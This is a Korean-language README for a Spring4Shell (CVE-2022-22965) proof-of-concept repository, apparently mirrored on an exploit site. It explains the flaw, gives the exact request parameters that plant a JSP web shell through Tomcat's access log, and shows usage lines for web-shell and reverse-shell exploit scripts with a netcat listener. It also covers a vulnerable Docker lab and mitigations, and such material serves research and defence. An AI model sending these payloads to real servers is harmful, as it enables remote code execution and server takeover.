Sploitus

Exploit for PoC-CVE-2022-22965-Spring4Shell

kitploit Β· 2026-08-31

Exploit Code

MARKDOWN151 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MARCH0N-POC-CVE-2022-22965-SPRING4SHELL
# PoC β€” CVE-2022-22965 (Spring4Shell)

> **λ©΄μ±… μ‘°ν•­:** 이 μ €μž₯μ†ŒλŠ” **ꡐ윑 및 연ꡬ λͺ©μ μœΌλ‘œλ§Œ** μ œκ³΅λ©λ‹ˆλ‹€. λͺ¨λ“  μ΅μŠ€ν”Œλ‘œμž‡ μŠ€ν¬λ¦½νŠΈλŠ” λ°˜λ“œμ‹œ μžμ‹ μ΄ μ†Œμœ ν•˜κ±°λ‚˜ λͺ…μ‹œμ μΈ μ„œλ©΄ μŠΉμΈμ„ 받은 μ‹œμŠ€ν…œμ—λ§Œ μ‚¬μš©ν•΄μ•Ό ν•©λ‹ˆλ‹€. μ €μžλŠ” 이 자료둜 μΈν•œ 였용 λ˜λŠ” 손해에 λŒ€ν•΄ μ±…μž„μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

CVE-2022-22965에 λŒ€ν•œ 연ꡬ 및 κ°œλ… 증λͺ…(PoC) μžλ£Œμž…λ‹ˆλ‹€. 이 취약점은 2022λ…„ 4월에 곡개된 Spring Framework의 치λͺ…적인 원격 μ½”λ“œ μ‹€ν–‰(RCE) μ·¨μ•½μ μž…λ‹ˆλ‹€.

* * *

## 취약점 κ°œμš”

**Spring4Shell** 은 λ‹€μŒ 쑰건이 λͺ¨λ‘ 좩쑱될 λ•Œ Spring MVC 및 Spring WebFlux μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— 영ν–₯을 λ―ΈμΉ©λ‹ˆλ‹€:

쑰건| κ°’  
---|---  
JDK 버전| 9 이상  
μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μ„œλ²„| Apache Tomcat  
νŒ¨ν‚€μ§•| WAR (μ‹€ν–‰ κ°€λŠ₯ν•œ JAR μ•„λ‹˜)  
Spring Framework| < 5.3.18 λ˜λŠ” < 5.2.20  
  
### μž‘λ™ 원리

Spring의 데이터 바인딩 λ©”μ»€λ‹ˆμ¦˜μ€ HTTP μš”μ²­ λ§€κ°œλ³€μˆ˜λ₯Ό 점 ν‘œκΈ°λ²•(예: `user.name=foo`)을 μ‚¬μš©ν•˜μ—¬ Java 객체 속성에 λ§€ν•‘ν•  수 있게 ν•©λ‹ˆλ‹€. 이 취약점은 μ΄λŸ¬ν•œ 탐색이 μ œλŒ€λ‘œ μ œν•œλ˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— λ°œμƒν•©λ‹ˆλ‹€. κ³΅κ²©μžλŠ” λͺ¨λΈ 객체의 클래슀 계측을 톡해 JVM `ClassLoader`에 도달할 수 μžˆμŠ΅λ‹ˆλ‹€:

root@kitploit:~
    
    
    class.module.classLoader.resources.context.parent.pipeline.first.<property>
    

이 κ²½λ‘œλŠ” Tomcat의 `AccessLogValve`에 λ„λ‹¬ν•˜λ©°, 이 μ»΄ν¬λ„ŒνŠΈμ˜ λ‘œκΉ… ꡬ성은 λŸ°νƒ€μž„μ— μ‘°μž‘λ  수 μžˆμŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” `pattern`, `directory`, `prefix`, `suffix`와 같은 속성을 μˆ˜μ •ν•˜μ—¬ Tomcat의 μ•‘μ„ΈμŠ€ λ‘œκ·Έκ°€ μž„μ˜μ˜ JSP μ½”λ“œλ₯Ό ν¬ν•¨ν•˜λŠ” `.jsp` ν™•μž₯자λ₯Ό κ°€μ§„ νŒŒμΌμ„ 쓰도둝 λ¦¬λ””λ ‰μ…˜ν•©λ‹ˆλ‹€. 즉, μ„œλ²„μ— **μ›Ή μ…Έ** 을 μ‹¬λŠ” κ²ƒμž…λ‹ˆλ‹€.

### 곡격 흐름

root@kitploit:~
    
    
    1. POST /vulnerable
       class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
       class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
       class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
       class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
       class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    
    2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
    
    3. GET /shell.jsp?cmd=id  β†’  RCE
    

* * *

## μ €μž₯μ†Œ ꡬ쑰

root@kitploit:~
    
    
    .
    β”œβ”€β”€ exploits/
    β”‚   β”œβ”€β”€ exploit1.py   # POST-based web shell with password protection
    β”‚   β”œβ”€β”€ exploit2.py   # POST-based web shell with reset capability
    β”‚   β”œβ”€β”€ exploit3.py   # GET-based variant (simplified)
    β”‚   β”œβ”€β”€ exploit4.py   # Reverse TCP shell (GET-based)
    β”‚   └── exploit4b.py  # Reverse TCP shell (POST-based)
    └── springmvc5-helloworld-example/
        β”œβ”€β”€ Dockerfile    # Uses pre-built tomcat:9.0.60 image
        β”œβ”€β”€ Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
        β”œβ”€β”€ pom.xml       # Maven project β€” Spring MVC 5.3.17 (vulnerable)
        └── src/          # Vulnerable Spring MVC application source
    

* * *

## μ΅μŠ€ν”Œλ‘œμž‡ λ³€ν˜•

### μ‚¬μš© μ˜ˆμ‹œ

root@kitploit:~
    
    
    # Web shell
    python3 exploits/exploit1.py http://target:8080/vulnerable
    
    # Reverse shell (start listener first: nc -lvnp 4444)
    python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
    

* * *

## μ‹€μŠ΅ ν™˜κ²½ ꡬ성

### 사전 μš”κ΅¬ 사항

  * Java 11+
  * Maven (`sudo apt install maven` λ˜λŠ” `sudo dnf install maven`)
  * Docker (선택 사항, ꢌμž₯됨)



### λΉŒλ“œ

root@kitploit:~
    
    
    cd springmvc5-helloworld-example
    mvn clean package
    

### Docker둜 μ‹€ν–‰

root@kitploit:~
    
    
    # Option 1 β€” pre-built Tomcat image
    docker build -t spring4shell .
    docker run -p 8082:8080 spring4shell
    
    # Option 2 β€” build from openjdk + download Tomcat
    docker build -t spring4shell -f Dockerfile2 .
    docker run -p 8082:8080 spring4shell
    

그러면 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ `http://localhost:8082/vulnerable`μ—μ„œ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

* * *

## λŒ€μ‘ λ°©μ•ˆ

  * **Spring Frameworkλ₯Ό** 5.3.18+ λ˜λŠ” 5.2.20+둜 μ—…κ·Έλ ˆμ΄λ“œ
  * **Spring Bootλ₯Ό** 2.6.6+ λ˜λŠ” 2.5.12+둜 μ—…κ·Έλ ˆμ΄λ“œ
  * μ—…κ·Έλ ˆμ΄λ“œκ°€ μ¦‰μ‹œ λΆˆκ°€λŠ₯ν•œ 경우: 
    * JDK 8둜 λ‹€μš΄κ·Έλ ˆμ΄λ“œ
    * `WebDataBinder.setDisallowedFields()`λ₯Ό μ‚¬μš©ν•˜μ—¬ `classLoader` 바인딩 차단
    * `class.`, `Class.`, `module.` λ˜λŠ” `classLoader`λ₯Ό ν¬ν•¨ν•˜λŠ” λ§€κ°œλ³€μˆ˜λ₯Ό μ°¨λ‹¨ν•˜λŠ” WAF κ·œμΉ™ 배포



* * *

## ν¬λ ˆλ”§

원본 연ꡬ 및 μ΅μŠ€ν”Œλ‘œμž‡ μ½”λ“œ: @march0n. 이 μ €μž₯μ†ŒλŠ” ν•™μŠ΅ λͺ©μ μ˜ 개인적인 취약점 연ꡬ이며, μΆ”κ°€ λ¬Έμ„œμ™€ 뢄석을 ν¬ν•¨ν•©λ‹ˆλ‹€.

* * *

## 참고 자료

  * CVE-2010-1622 β€” μ›λž˜ Spring ClassLoader μ΅μŠ€ν”Œλ‘œμž‡ (2010)
  * 졜초 쀑ꡭ어 곡개 (Weixin)
  * Microsoft λ³΄μ•ˆ λΈ”λ‘œκ·Έ β€” SpringShell μ§€μΉ¨
  * LunaSec β€” Spring RCE 취약점 뢄석
  * Palo Alto Unit 42 β€” CVE-2022-22965 심측 뢄석